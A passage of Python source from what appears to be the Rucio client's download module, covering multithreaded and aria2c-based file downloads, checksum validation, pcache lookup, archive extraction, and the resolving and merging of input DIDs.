no_resolve_archives - Optional: bool indicating whether archives should not be considered for download (Default: False) resolve_archives - Deprecated: Use no_resolve_archives instead force_scheme - Optional: force a specific scheme to download this item. (Default: None) base_dir - Optional: base directory where the downloaded files will be stored. (Default: '.') no_subdir - Optional: If true, files are written directly into base_dir and existing files are overwritten. (Default: False) nrandom - Optional: if the DID addresses a dataset, nrandom files will be randomly choosen for download from the dataset ignore_checksum - Optional: If true, skips the checksum validation between the downloaded file and the rucio catalouge. (Default: False) transfer_timeout - Optional: Timeout time for the download protocols. (Default: None) :param num_threads: Suggestion of number of threads to use for the download. It will be lowered if it's too high. :param trace_custom_fields: Custom key value pairs to send with the traces. :param traces_copy_out: reference to an external list, where the traces should be uploaded :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState :raises InputValidationError: if one of the input items is in the wrong format :raises NoFilesDownloaded: if no files could be downloaded :raises NotAllFilesDownloaded: if not all files could be downloaded :raises RucioException: if something unexpected went wrong during the download """ logger = self.logger trace_custom_fields['uuid'] = generate_uuid() logger.info('Processing %d item(s) for input' % len(items)) download_info = self._resolve_and_merge_input_items(copy.deepcopy(items)) did_to_options = download_info['did_to_options'] merged_items = download_info['merged_items'] self.logger.debug('num_unmerged_items=%d; num_dids=%d; num_merged_items=%d' % (len(items), len(did_to_options), len(merged_items))) logger.info('Getting sources of DIDs') # if one item wants to resolve archives we enable it for all items resolve_archives = not all(item.get('no_resolve_archives') for item in merged_items) merged_items_with_sources = self._get_sources(merged_items, resolve_archives=resolve_archives) input_items = self._prepare_items_for_download(did_to_options, merged_items_with_sources, resolve_archives=resolve_archives) num_files_in = len(input_items) output_items = self._download_multithreaded(input_items, num_threads, trace_custom_fields, traces_copy_out) num_files_out = len(output_items) if num_files_in != num_files_out: raise RucioException('%d items were in the input queue but only %d are in the output queue' % (num_files_in, num_files_out)) return self._check_output(output_items) def download_from_metalink_file(self, item, metalink_file_path, num_threads=2, trace_custom_fields={}, traces_copy_out=None): """ Download items using a given metalink file. :param item: dictionary describing an item to download. Keys: base_dir - Optional: base directory where the downloaded files will be stored. (Default: '.') no_subdir - Optional: If true, files are written directly into base_dir and existing files are overwritten. (Default: False) ignore_checksum - Optional: If true, skips the checksum validation between the downloaded file and the rucio catalouge. (Default: False) transfer_timeout - Optional: Timeout time for the download protocols. (Default: None) :param num_threads: Suggestion of number of threads to use for the download. It will be lowered if it's too high. :param trace_custom_fields: Custom key value pairs to send with the traces. :param traces_copy_out: reference to an external list, where the traces should be uploaded :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState :raises InputValidationError: if one of the input items is in the wrong format :raises NoFilesDownloaded: if no files could be downloaded :raises NotAllFilesDownloaded: if not all files could be downloaded :raises RucioException: if something unexpected went wrong during the download """ logger = self.logger logger.info('Getting sources from metalink file') metalinks = parse_replicas_from_file(metalink_file_path) trace_custom_fields['uuid'] = generate_uuid() did_to_options = {} item.setdefault('destinations', set()).add((item['base_dir'], item['no_subdir'])) for metalink in metalinks: did_to_options[metalink['did']] = item metalinks = [metalinks] input_items = self._prepare_items_for_download(did_to_options, metalinks) num_files_in = len(input_items) output_items = self._download_multithreaded(input_items, num_threads, trace_custom_fields, traces_copy_out) num_files_out = len(output_items) if num_files_in != num_files_out: raise RucioException('%d items were in the input queue but only %d are in the output queue' % (num_files_in, num_files_out)) return self._check_output(output_items) def _download_multithreaded(self, input_items, num_threads, trace_custom_fields={}, traces_copy_out=None): """ Starts an appropriate number of threads to download items from the input list. (This function is meant to be used as class internal only) :param input_items: list containing the input items to download :param num_threads: suggestion of how many threads should be started :param trace_custom_fields: Custom key value pairs to send with the traces :param traces_copy_out: reference to an external list, where the traces should be uploaded :returns: list with output items as dictionaries """ logger = self.logger num_files = len(input_items) nlimit = 5 num_threads = max(1, num_threads) num_threads = min(num_files, num_threads, nlimit) input_queue = Queue() output_queue = Queue() input_queue.queue = deque(input_items) if num_threads < 2: logger.info('Using main thread to download %d file(s)' % num_files) self._download_worker(input_queue, output_queue, trace_custom_fields, traces_copy_out, '') return list(output_queue.queue) logger.info('Using %d threads to download %d files' % (num_threads, num_files)) threads = [] for thread_num in range(0, num_threads): log_prefix = 'Thread %s/%s: ' % (thread_num, num_threads) kwargs = {'input_queue': input_queue, 'output_queue': output_queue, 'trace_custom_fields': trace_custom_fields, 'traces_copy_out': traces_copy_out, 'log_prefix': log_prefix} try: thread = Thread(target=self._download_worker, kwargs=kwargs) thread.start() threads.append(thread) except Exception as error: logger.warning('Failed to start thread %d' % thread_num) logger.debug(error) try: logger.debug('Waiting for threads to finish') for thread in threads: thread.join() except KeyboardInterrupt: logger.warning('You pressed Ctrl+C! Exiting gracefully') for thread in threads: thread.kill_received = True return list(output_queue.queue) def _download_worker(self, input_queue, output_queue, trace_custom_fields, traces_copy_out, log_prefix): """ This function runs as long as there are items in the input queue, downloads them and stores the output in the output queue. (This function is meant to be used as class internal only) :param input_queue: queue containing the input items to download :param output_queue: queue where the output items will be stored :param trace_custom_fields: Custom key value pairs to send with the traces :param traces_copy_out: reference to an external list, where the traces should be uploaded :param log_prefix: string that will be put at the beginning of every log message """ logger = self.logger logger.debug('%sStart processing queued downloads' % log_prefix) while True: try: item = input_queue.get_nowait() except Empty: break try: trace = copy.deepcopy(self.trace_tpl) trace.update(trace_custom_fields) download_result = self._download_item(item, trace, traces_copy_out, log_prefix) output_queue.put(download_result) except KeyboardInterrupt: logger.warning('You pressed Ctrl+C! Exiting gracefully') os.kill(os.getpgid(), signal.SIGINT) break except Exception as error: logger.error('%sFailed to download item' % log_prefix) logger.debug(error) def _download_item(self, item, trace, traces_copy_out, log_prefix=''): """ Downloads the given item and sends traces for success/failure. (This function is meant to be used as class internal only) :param item: dictionary that describes the item to download :param trace: dictionary representing a pattern of trace that will be send :param traces_copy_out: reference to an external list, where the traces should be uploaded :param log_prefix: string that will be put at the beginning of every log message :returns: dictionary with all attributes from the input item and a clientState attribute """ logger = self.logger pcache = Pcache() if self.check_pcache and len(item.get('archive_items', [])) == 0 else None did_scope = item['scope'] did_name = item['name'] did_str = '%s:%s' % (did_scope, did_name) logger.info('%sPreparing download of %s' % (log_prefix, did_str)) trace['scope'] = did_scope trace['filename'] = did_name trace.setdefault('datasetScope', item.get('dataset_scope', '')) trace.setdefault('dataset', item.get('dataset_name', '')) trace.setdefault('filesize', item.get('bytes')) dest_file_paths = item['dest_file_paths'] # appending trace to list reference, if the reference exists if traces_copy_out is not None: traces_copy_out.append(trace) # if file already exists make sure it exists at all destination paths, set state, send trace, and return for dest_file_path in dest_file_paths: if os.path.isfile(dest_file_path): logger.info('%sFile exists already locally: %s' % (log_prefix, did_str)) for missing_file_path in dest_file_paths: if not os.path.isfile(missing_file_path): logger.debug("copying '%s' to '%s'" % (dest_file_path, missing_file_path)) shutil.copy2(dest_file_path, missing_file_path) item['clientState'] = 'ALREADY_DONE' trace['transferStart'] = time.time() trace['transferEnd'] = time.time() trace['clientState'] = 'ALREADY_DONE' send_trace(trace, self.client.host, self.client.user_agent) return item # check if file has replicas sources = item.get('sources') if not sources or not len(sources): logger.warning('%sNo available source found for file: %s' % (log_prefix, did_str)) item['clientState'] = 'FILE_NOT_FOUND' trace['clientState'] = 'FILE_NOT_FOUND' trace['stateReason'] = 'No available sources' self._send_trace(trace) return item # checking Pcache storage_prefix = None if pcache: # to check only first replica is enough pfn = sources[0]['pfn'] rse_name = sources[0]['rse'] # protocols are needed to extract deterministic part of the pfn scheme = None prots = self.client.get_protocols(rse_name) for prot in prots: if prot['scheme'] in pfn and prot['prefix'] in pfn: scheme = prot['scheme'] storage_prefix = prot['prefix'] # proceed with the actual check logger.info('Checking whether %s is in pcache' % dest_file_path) pcache_state = None hardlink_state = None try: pcache_state, hardlink_state = pcache.check_and_link(src=pfn, storage_root=storage_prefix, dst=dest_file_path) except Exception as e: logger.warning('Pcache failure: %s' % str(e)) # if file found in pcache, send trace and return if pcache_state == 0 and hardlink_state == 1: logger.info('File found in pcache.') item['clientState'] = 'FOUND_IN_PCACHE' trace['transferStart'] = time.time() trace['transferEnd'] = time.time() trace['clientState'] = 'FOUND_IN_PCACHE' self._send_trace(trace) return item else: logger.info('File not found in pcache.') # try different PFNs until one succeeded temp_file_path = item['temp_file_path'] success = False i = 0 while not success and i < len(sources): source = sources[i] i += 1 pfn = source['pfn'] rse_name = source['rse'] scheme = pfn.split(':')[0] try: rse = rsemgr.get_rse_info(rse_name) except RucioException as error: logger.warning('%sCould not get info of RSE %s: %s' % (log_prefix, rse_name, error)) trace['stateReason'] = str(error) continue trace['remoteSite'] = rse_name trace['clientState'] = 'DOWNLOAD_ATTEMPT' trace['protocol'] = scheme logger.info('%sTrying to download with %s from %s: %s ' % (log_prefix, scheme, rse_name, did_str)) try: protocol = rsemgr.create_protocol(rse, operation='read', scheme=scheme, auth_token=self.auth_token) protocol.connect() except Exception as error: logger.warning('%sFailed to create protocol for PFN: %s' % (log_prefix, pfn)) logger.debug('scheme: %s, exception: %s' % (scheme, error)) trace['stateReason'] = str(error) continue attempt = 0 retries = 2 # do some retries with the same PFN if the download fails while not success and attempt < retries: attempt += 1 item['attemptnr'] = attempt if os.path.isfile(temp_file_path): logger.debug('%sDeleting existing temporary file: %s' % (log_prefix, temp_file_path)) os.unlink(temp_file_path) start_time = time.time() try: protocol.get(pfn, temp_file_path, transfer_timeout=item.get('merged_options', {}).get('transfer_timeout')) success = True except Exception as error: logger.debug(error) trace['clientState'] = str(type(error).__name__) trace['stateReason'] = str(error) end_time = time.time() if success and not item.get('merged_options', {}).get('ignore_checksum', False): verified, rucio_checksum, local_checksum = _verify_checksum(item, temp_file_path) if not verified: success = False os.unlink(temp_file_path) logger.warning('%sChecksum validation failed for file: %s' % (log_prefix, did_str)) logger.debug('Local checksum: %s, Rucio checksum: %s' % (local_checksum, rucio_checksum)) trace['clientState'] = 'FAIL_VALIDATE' trace['stateReason'] = 'Checksum validation failed: Local checksum: %s, Rucio checksum: %s' % (local_checksum, rucio_checksum) if not success: logger.warning('%sDownload attempt failed. Try %s/%s' % (log_prefix, attempt, retries)) self._send_trace(trace) protocol.close() if not success: logger.error('%sFailed to download file %s' % (log_prefix, did_str)) item['clientState'] = 'FAILED' return item dest_file_path_iter = iter(dest_file_paths) first_dest_file_path = next(dest_file_path_iter) logger.debug("renaming '%s' to '%s'" % (temp_file_path, first_dest_file_path)) os.rename(temp_file_path, first_dest_file_path) # if the file was downloaded with success, it can be linked to pcache if pcache: logger.info('File %s is going to be registerred into pcache.' % dest_file_path) try: pcache_state, hardlink_state = pcache.check_and_link(src=pfn, storage_root=storage_prefix, local_src=first_dest_file_path) logger.info('File %s is now registerred into pcache.' % first_dest_file_path) except Exception as e: logger.warning('Failed to load file to pcache: %s' % str(e)) for cur_dest_file_path in dest_file_path_iter: logger.debug("copying '%s' to '%s'" % (first_dest_file_path, cur_dest_file_path)) shutil.copy2(first_dest_file_path, cur_dest_file_path) trace['transferStart'] = start_time trace['transferEnd'] = end_time trace['clientState'] = 'DONE' trace['stateReason'] = 'OK' item['clientState'] = 'DONE' self._send_trace(trace) duration = round(end_time - start_time, 2) size = item.get('bytes') size_str = sizefmt(size, self.is_human_readable) if size and duration: rate = round((size / duration) * 1e-6, 2) logger.info('%sFile %s successfully downloaded. %s in %s seconds = %s MBps' % (log_prefix, did_str, size_str, duration, rate)) else: logger.info('%sFile %s successfully downloaded in %s seconds' % (log_prefix, did_str, duration)) file_items_in_archive = item.get('archive_items', []) if len(file_items_in_archive) > 0: logger.info('%sExtracting %d file(s) from %s' % (log_prefix, len(file_items_in_archive), did_name)) archive_file_path = first_dest_file_path for file_item in file_items_in_archive: extraction_ok = False extract_file_name = file_item['name'] dest_file_path_iter = iter(file_item['dest_file_paths']) first_dest_file_path = next(dest_file_path_iter) dest_dir = os.path.dirname(first_dest_file_path) logger.debug('%sExtracting %s to %s' % (log_prefix, extract_file_name, dest_dir)) for extraction_tool in self.extraction_tools: if extraction_tool.try_extraction(archive_file_path, extract_file_name, dest_dir): extraction_ok = True break if not extraction_ok: logger.error('Extraction of file %s from archive %s failed.' % (extract_file_name, did_name)) continue first_dest_file_path = os.path.join(dest_dir, extract_file_name) for cur_dest_file_path in dest_file_path_iter: logger.debug("copying '%s' to '%s'" % (first_dest_file_path, cur_dest_file_path)) shutil.copy2(first_dest_file_path, cur_dest_file_path) if not item.get('shall_keep_archive'): logger.debug('%sDeleting archive %s' % (log_prefix, did_name)) os.remove(archive_file_path) return item def download_aria2c(self, items, trace_custom_fields={}, filters={}): """ Uses aria2c to download the items with given DIDs. This function can also download datasets and wildcarded DIDs. It only can download files that are available via https/davs. Aria2c needs to be installed and X509_USER_PROXY needs to be set! :param items: List of dictionaries. Each dictionary describing an item to download. Keys: did - DID string of this file (e.g. 'scope:file.name'). Wildcards are not allowed rse - Optional: rse name (e.g. 'CERN-PROD_DATADISK') or rse expression from where to download base_dir - Optional: base directory where the downloaded files will be stored. (Default: '.') no_subdir - Optional: If true, files are written directly into base_dir and existing files are overwritten. (Default: False) nrandom - Optional: if the DID addresses a dataset, nrandom files will be randomly choosen for download from the dataset ignore_checksum - Optional: If true, skips the checksum validation between the downloaded file and the rucio catalouge. (Default: False) :param trace_custom_fields: Custom key value pairs to send with the traces :param filters: dictionary containing filter options :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState :raises InputValidationError: if one of the input items is in the wrong format :raises NoFilesDownloaded: if no files could be downloaded :raises NotAllFilesDownloaded: if not all files could be downloaded :raises RucioException: if something went wrong during the download (e.g. aria2c could not be started) """ logger = self.logger trace_custom_fields['uuid'] = generate_uuid() rpc_secret = '%x' % (random.getrandbits(64)) rpc_auth = 'token:%s' % rpc_secret rpcproc, aria_rpc = self._start_aria2c_rpc(rpc_secret) for item in items: item['force_scheme'] = ['https', 'davs'] logger.info('Processing %d item(s) for input' % len(items)) download_info = self._resolve_and_merge_input_items(copy.deepcopy(items)) did_to_options = download_info['did_to_options'] merged_items = download_info['merged_items'] self.logger.debug('num_unmerged_items=%d; num_dids=%d; num_merged_items=%d' % (len(items), len(did_to_options), len(merged_items))) logger.info('Getting sources of DIDs') merged_items_with_sources = self._get_sources(merged_items) input_items = self._prepare_items_for_download(did_to_options, merged_items_with_sources, resolve_archives=False) try: output_items = self._download_items_aria2c(input_items, aria_rpc, rpc_auth, trace_custom_fields) except Exception as error: self.logger.error('Unknown exception during aria2c download') self.logger.debug(error) finally: try: aria_rpc.aria2.forceShutdown(rpc_auth) finally: rpcproc.terminate() return self._check_output(output_items) def _start_aria2c_rpc(self, rpc_secret): """ Starts aria2c in RPC mode as a subprocess. Also creates the RPC proxy instance. (This function is meant to be used as class internal only) :param rpc_secret: the secret for the RPC proxy :returns: a tupel with the process and the rpc proxy objects :raises RucioException: if the process or the proxy could not be created """ logger = self.logger try: from xmlrpclib import ServerProxy as RPCServerProxy # py2 except ImportError: from xmlrpc.client import ServerProxy as RPCServerProxy cmd = 'aria2c '\ '--enable-rpc '\ '--certificate=$X509_USER_PROXY '\ '--private-key=$X509_USER_PROXY '\ '--ca-certificate=/etc/pki/tls/certs/CERN-bundle.pem '\ '--quiet=true '\ '--allow-overwrite=true '\ '--auto-file-renaming=false '\ '--stop-with-process=%d '\ '--rpc-secret=%s '\ '--rpc-listen-all=false '\ '--rpc-max-request-size=100M '\ '--connect-timeout=5 '\ '--rpc-listen-port=%d' logger.info('Starting aria2c rpc server...') # trying up to 3 random ports for attempt in range(3): port = random.randint(1024, 65534) logger.debug('Trying to start rpc server on port: %d' % port) try: to_exec = cmd % (os.getpid(), rpc_secret, port) logger.debug(to_exec) rpcproc = execute(to_exec, False) except Exception as error: raise RucioException('Failed to execute aria2c!', error) # if port is in use aria should fail to start so give it some time time.sleep(2) # did it fail? if rpcproc.poll() is not None: (out, err) = rpcproc.communicate() logger.debug('Failed to start aria2c with port: %d' % port) logger.debug('aria2c output: %s' % out) else: break if rpcproc.poll() is not None: raise RucioException('Failed to start aria2c rpc server!') try: aria_rpc = RPCServerProxy('http://localhost:%d/rpc' % port) except Exception as error: rpcproc.kill() raise RucioException('Failed to initialise rpc proxy!', error) return (rpcproc, aria_rpc) def _download_items_aria2c(self, items, aria_rpc, rpc_auth, trace_custom_fields={}): """ Uses aria2c to download the given items. Aria2c needs to be started as RPC background process first and a RPC proxy is needed. (This function is meant to be used as class internal only) :param items: list of dictionaries containing one dict for each file to download :param aria_rcp: RPCProxy to the aria2c process :param rpc_auth: the rpc authentication token :param trace_custom_fields: Custom key value pairs to send with the traces :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState """ logger = self.logger gid_to_item = {} # maps an aria2c download id (gid) to the download item pfn_to_rse = {} items_to_queue = [item for item in items] # items get removed from gid_to_item when they are complete or failed while len(gid_to_item) or len(items_to_queue): num_queued = 0 # queue up to 100 files and then check arias status while (num_queued < 100) and len(items_to_queue): item = items_to_queue.pop() file_scope = item['scope'] file_name = item['name'] file_did_str = '%s:%s' % (file_scope, file_name) trace = {'scope': file_scope, 'filename': file_name, 'datasetScope': item.get('dataset_scope', ''), 'dataset': item.get('dataset_name', ''), 'protocol': 'https', 'remoteSite': '', 'filesize': item.get('bytes', None), 'transferStart': time.time(), 'transferEnd': time.time()} trace.update(self.trace_tpl) trace.update(trace_custom_fields) # get pfns from all replicas pfns = [] for src in item['sources']: pfn = src['pfn'] if pfn[0:4].lower() == 'davs': pfn = pfn.replace('davs', 'https', 1) pfns.append(pfn) pfn_to_rse[pfn] = src['rse'] # does file exist and are sources available? # workaround: only consider first dest file path for aria2c download dest_file_path = next(iter(item['dest_file_paths'])) if os.path.isfile(dest_file_path): logger.info('File exists already locally: %s' % file_did_str) item['clientState'] = 'ALREADY_DONE' trace['clientState'] = 'ALREADY_DONE' self._send_trace(trace) elif len(pfns) == 0: logger.warning('No available source found for file: %s' % file_did_str) item['clientState'] = 'FILE_NOT_FOUND' trace['clientState'] = 'FILE_NOT_FOUND' self._send_trace(trace) else: item['trace'] = trace options = {'dir': os.path.dirname(dest_file_path), 'out': os.path.basename(item['temp_file_path'])} gid = aria_rpc.aria2.addUri(rpc_auth, pfns, options) gid_to_item[gid] = item num_queued += 1 logger.debug('Queued file: %s' % file_did_str) # get some statistics aria_stat = aria_rpc.aria2.getGlobalStat(rpc_auth) num_active = int(aria_stat['numActive']) num_waiting = int(aria_stat['numWaiting']) num_stopped = int(aria_stat['numStoppedTotal']) # save start time if one of the active downloads has started active = aria_rpc.aria2.tellActive(rpc_auth, ['gid', 'completedLength']) for dlinfo in active: gid = dlinfo['gid'] if int(dlinfo['completedLength']) > 0: gid_to_item[gid].setdefault('transferStart', time.time()) stopped = aria_rpc.aria2.tellStopped(rpc_auth, -1, num_stopped, ['gid', 'status', 'files']) for dlinfo in stopped: gid = dlinfo['gid'] item = gid_to_item[gid] file_scope = item['scope'] file_name = item['name'] file_did_str = '%s:%s' % (file_scope, file_name) temp_file_path = item['temp_file_path'] # workaround: only consider first dest file path for aria2c download dest_file_path = next(iter(item['dest_file_paths'])) # ensure we didnt miss the active state (e.g. a very fast download) start_time = item.setdefault('transferStart', time.time()) end_time = item.setdefault('transferEnd', time.time()) # get used pfn for traces trace = item['trace'] for uri in dlinfo['files'][0]['uris']: if uri['status'].lower() == 'used': trace['remoteSite'] = pfn_to_rse.get(uri['uri'], '') trace['transferStart'] = start_time trace['transferEnd'] = end_time # ensure file exists status = dlinfo.get('status', '').lower() if status == 'complete' and os.path.isfile(temp_file_path): # checksum check skip_check = item.get('ignore_checksum', False) rucio_checksum = 0 if skip_check else item.get('adler32') local_checksum = 0 if skip_check else adler32(temp_file_path) if rucio_checksum == local_checksum: item['clientState'] = 'DONE' trace['clientState'] = 'DONE' # remove .part ending os.rename(temp_file_path, dest_file_path) # calculate duration duration = round(end_time - start_time, 2) duration = max(duration, 0.01) # protect against 0 division size = item.get('bytes', 0) rate = round((size / duration) * 1e-6, 2) size_str = sizefmt(size, self.is_human_readable) logger.info('File %s successfully downloaded. %s in %s seconds = %s MBps' % (file_did_str, size_str, duration, rate)) else: os.unlink(temp_file_path) logger.warning('Checksum validation failed for file: %s' % file_did_str) logger.debug('Local checksum: %s, Rucio checksum: %s' % (local_checksum, rucio_checksum)) item['clientState'] = 'FAIL_VALIDATE' trace['clientState'] = 'FAIL_VALIDATE' else: logger.error('Failed to download file: %s' % file_did_str) logger.debug('Aria2c status: %s' % status) item['clientState'] = 'FAILED' trace['clientState'] = 'DOWNLOAD_ATTEMPT' self._send_trace(trace) del item['trace'] aria_rpc.aria2.removeDownloadResult(rpc_auth, gid) del gid_to_item[gid] if len(stopped) > 0: logger.info('Active: %d, Waiting: %d, Stopped: %d' % (num_active, num_waiting, num_stopped)) return items def _resolve_and_merge_input_items(self, items): """ This function takes the input items given to download_dids etc. and merges them respecting their individual options. This way functions can operate on these items in batch mode. E.g., list_replicas calls are reduced. :param items: List of dictionaries. Each dictionary describing an input item :returns: a dictionary with a dictionary that maps the input DIDs to options and a list with a dictionary for each merged download item :raises InputValidationError: if one of the input items is in the wrong format """ logger = self.logger # check mandatory options before doing any server calls for item in items: if item.get('resolve_archives') is not None: logger.warning('resolve_archives option is deprecated and will be removed in a future release.') item.setdefault('no_resolve_archives', not item.pop('resolve_archives')) did = item.get('did', []) if len(did) == 0: if not item.get('filters', {}).get('scope'): logger.debug(item) raise InputValidationError('Item without did and filter/scope') item['did'] = [None] elif not isinstance(did, list): item['did'] = [did] distinct_keys = ['rse', 'force_scheme', 'nrandom'] all_resolved_did_strs = set() did_to_options = {} merged_items = [] download_info = {'did_to_options': did_to_options, 'merged_items': merged_items} while len(items) > 0: item = items.pop() filters = item.get('filters', {}) item_dids = item.pop('did') if item_dids[0] is None: logger.debug('Resolving DIDs by using filter options') item_dids = [] scope = filters.pop('scope') for did_name in self.client.list_dids(scope, filters=filters, type='all'): item_dids.append('%s:%s' % (scope, did_name)) base_dir = item.pop('base_dir', '.') no_subdir = item.pop('no_subdir', False) ignore_checksum = item.pop('ignore_checksum', False) new_transfer_timeout = item.pop('transfer_timeout', None) resolved_dids = item.setdefault('dids', []) for did_str in item_dids: did_scope, did_name = self._split_did_str(did_str) tmp_did_names = [] if '*' in did_name: filters['name'] = did_name tmp_did_names = list(self.client.list_dids(did_scope, filters=filters, type='all')) else: tmp_did_names = [did_name] for did_name in tmp_did_names: resolved_did_str = '%s:%s' % (did_scope, did_name) options = did_to_options.setdefault(resolved_did_str, {}) options.setdefault('destinations', set()).add((base_dir, no_subdir)) if resolved_did_str in all_resolved_did_strs: # in this case the DID was already given in another item # the options of this DID will be ignored and the options of the first item that contained the DID will be used # another approach would be to compare the options and apply the more relaxed options logger.debug('Ignoring further options of DID: %s' % resolved_did_str) continue options['ignore_checksum'] = (options.get('ignore_checksum') or ignore_checksum) cur_transfer_timeout = options.setdefault('transfer_timeout', None) if cur_transfer_timeout is not None and new_transfer_timeout is not None: options['transfer_timeout'] = max(int(cur_transfer_timeout), int(new_transfer_timeout)) elif new_transfer_timeout is not None: options['transfer_timeout'] = int(new_transfer_timeout) resolved_dids.append({'scope': did_scope, 'name': did_name}) all_resolved_did_strs.add(resolved_did_str) if len(resolved_dids) == 0: logger.warning('An item didnt have any DIDs after resolving the input. Ignoring it.') logger.debug(item) continue was_merged = False for merged_item in merged_items: if all(item.get(k) == merged_item.get(k) for k in distinct_keys): merged_item['dids'].extend(resolved_dids) was_merged = True break if not was_merged: item['dids'] = resolved_dids merged_items.append(item) return download_info def _get_sources(self, merged_items, resolve_archives=True): """ Get sources (PFNs) of the DIDs. :param merged_items: list of dictionaries. Each dictionary describes a bunch of DIDs to download :returns: list of list of dictionaries. """ logger = self.logger merged_items_with_sources = [] for item in merged_items: # since we're using metalink we need to explicitly give all schemes schemes = item.get('force_scheme') if schemes: schemes = schemes if isinstance(schemes, list) else [schemes] logger.debug('schemes: %s' % schemes) # extend RSE expression to exclude tape RSEs for non-admin accounts rse_expression = item.get('rse') if self.is_tape_excluded: rse_expression = '*\istape=true' if not rse_expression else '(%s)\istape=true' % rse_expression # NOQA: W605 logger.debug('rse_expression: %s' % rse_expression) # get PFNs of files and datasets logger.debug('num DIDs for list_replicas call: %d' % len(item['dids'])) metalink_str = self.client.list_replicas(item['dids'], schemes=schemes, rse_expression=rse_expression, client_location=self.client_location, resolve_archives=resolve_archives, resolve_parents=True, metalink=True) file_items = parse_replicas_from_string(metalink_str) logger.debug('num resolved files: %s' % len(file_items)) # list_replicas returns nothing if the DID does not exist and we dont want to # do another server call so we check if there is a result from list_replicas # for each given DID. If not the DID does not exist for input_did in item['dids']: input_did = DIDType(input_did) if not any([input_did == f['did'] or str(input_did) in f['parent_dids'] for f in file_items]): logger.error('DID does not exist: %s' % input_did) # TODO: store did directly as DIDType object file_items.append({'did': str(input_did), 'adler32': None, 'md5': None, 'sources': [], 'parent_dids': set()}) nrandom = item.get('nrandom') if nrandom: logger.info('Selecting %d random replicas from DID(s): %s' % (nrandom, item['dids'])) random.shuffle(file_items) file_items = file_items[0:nrandom] merged_items_with_sources.append(file_items) else: merged_items_with_sources.append(file_items) return merged_items_with_sources def _prepare_items_for_download(self, did_to_options, merged_items_with_sources, resolve_archives=True): """ Optimises the amount of files to download (This function is meant to be used as class internal only) :param did_to_options: dictionary that maps each input DID to some input options :param merged_items_with_sources: list of dictionaries. Each dictionary describes a bunch of DIDs to download :returns: list of dictionaries. Each dictionary describes an element to download :raises InputValidationError: if the given input is not valid or incomplete """ logger = self.logger if resolve_archives: # perhaps we'll need an extraction tool so check what is installed self.extraction_tools = [tool for tool in self.extraction_tools if tool.is_useable()] if len(self.extraction_tools) < 1: logger.warning('Archive resolution is enabled but no extraction tool is available. ' 'Sources whose protocol doesnt support extraction wont be considered for download.') # maps file item IDs (fiid) to the file item object fiid_to_file_item = {} # list of all file item objects all_file_items = [] # cea -> client_extract archives to avoid confusion with archives that dont need explicit extraction # this dict will contain all ids of cea's that definitely will be downloaded cea_id_pure_to_fiids = {} # this dict will contain ids of cea's that have higher prioritised non cea sources cea_id_mixed_to_fiids = {} all_input_dids = set(did_to_options.keys()) all_dest_file_paths = set() # get replicas for every file of the given dids for file_items in merged_items_with_sources: all_file_items.extend(file_items) for file_item in file_items: # parent_dids contains all parents, so we take the intersection with the input dids dataset_did_strs = file_item.setdefault('parent_dids', set()) dataset_did_strs.intersection_update(all_input_dids) file_did_str = file_item['did'] file_did_scope, file_did_name = self._split_did_str(file_did_str) file_item['scope'] = file_did_scope file_item['name'] = file_did_name logger.debug('Queueing file: %s' % file_did_str) logger.debug('real parents: %s' % dataset_did_strs) logger.debug('options: %s' % did_to_options) # prepare destinations: # if datasets were given: prepare the destination paths for each dataset options = None dest_file_paths = file_item.get('dest_file_paths', set()) for dataset_did_str in dataset_did_strs: options = did_to_options.get(dataset_did_str) if not options: logger.error('No input options available for %s' % dataset_did_str) continue destinations = options['destinations'] dataset_scope, dataset_name = self._split_did_str(dataset_did_str) paths = [os.path.join(self._prepare_dest_dir(dest[0], dataset_name, file_did_name, dest[1]), file_did_name) for dest in destinations] if any(path in all_dest_file_paths for path in paths): raise RucioException("Multiple file items with same destination file path") all_dest_file_paths.update(paths) dest_file_paths.update(paths) # workaround: just take any given dataset for the traces and the output file_item.setdefault('dataset_scope', dataset_scope) file_item.setdefault('dataset_name', dataset_name) # if no datasets were given only prepare the given destination paths if len(dataset_did_strs) == 0: options = did_to_options.get(file_did_str) if not options: logger.error('No input options available for %s' % file_did_str) continue destinations = options['destinations'] paths = [os.path.join(self._prepare_dest_dir(dest[0], file_did_scope, file_did_name, dest[1]), file_did_name) for dest in destinations] if any(path in all_dest_file_paths for path in paths): raise RucioException("Multiple file items with same destination file path") all_dest_file_paths.update(paths) dest_file_paths.update(paths) if options is None: continue file_item['merged_options'] = options file_item['dest_file_paths'] = list(dest_file_paths) file_item['temp_file_path'] = '%s.part' % file_item['dest_file_paths'][0] # the file did str ist not an unique key for this dict because multiple calls of list_replicas # could result in the same DID multiple times. So we're using the id of the dictionary objects fiid = id(file_item) fiid_to_file_item[fiid] = file_item if resolve_archives: min_cea_priority = None num_non_cea_sources = 0 cea_ids = [] sources = [] # go through sources and check how many (non-)cea sources there are, # index cea sources, or remove cea sources if there is no extraction tool for source in file_item['sources']: is_cea = source.get('client_extract', False) if is_cea and (len(self.extraction_tools) > 0): priority = int(source['priority']) if min_cea_priority is None or priority < min_cea_priority: min_cea_priority = priority # workaround since we dont have the archive DID use the part behind the last slash of the PFN # this doesn't respect the scope of the archive DID!!! # and we trust that client_extract==True sources dont have any parameters at the end of the PFN cea_id = source['pfn'].split('/') cea_id = cea_id[-1] if len(cea_id[-1]) > 0 else cea_id[-2] cea_ids.append(cea_id) sources.append(source) elif not is_cea: num_non_cea_sources += 1 sources.append(source) else: # no extraction tool logger.debug('client_extract=True; ignoring source: %s' % source['pfn']) logger.debug('Prepared sources: num_sources=%d/%d; num_non_cea_sources=%d; num_cea_ids=%d' % (len(sources), len(file_item['sources']), num_non_cea_sources, len(cea_ids))) file_item['sources'] = sources # if there are no cea sources we are done for this item if min_cea_priority is None: continue # decide if file item belongs to the pure or mixed map # if no non-archive src exists or the highest prio src is an archive src we put it in the pure map elif num_non_cea_sources == 0 or min_cea_priority == 1: logger.debug('Adding fiid to cea pure map: ' 'num_non_cea_sources=%d; min_cea_priority=%d; num_cea_sources=%d' % (num_non_cea_sources, min_cea_priority, len(cea_ids))) for cea_id in cea_ids: cea_id_pure_to_fiids.setdefault(cea_id, set()).add(fiid) file_item.setdefault('cea_ids_pure', set()).add(cea_id) # if there are non-archive sources and archive sources we put it in the mixed map elif len(cea_ids) > 0: logger.debug('Adding fiid to cea mixed map: ' 'num_non_cea_sources=%d; min_cea_priority=%d; 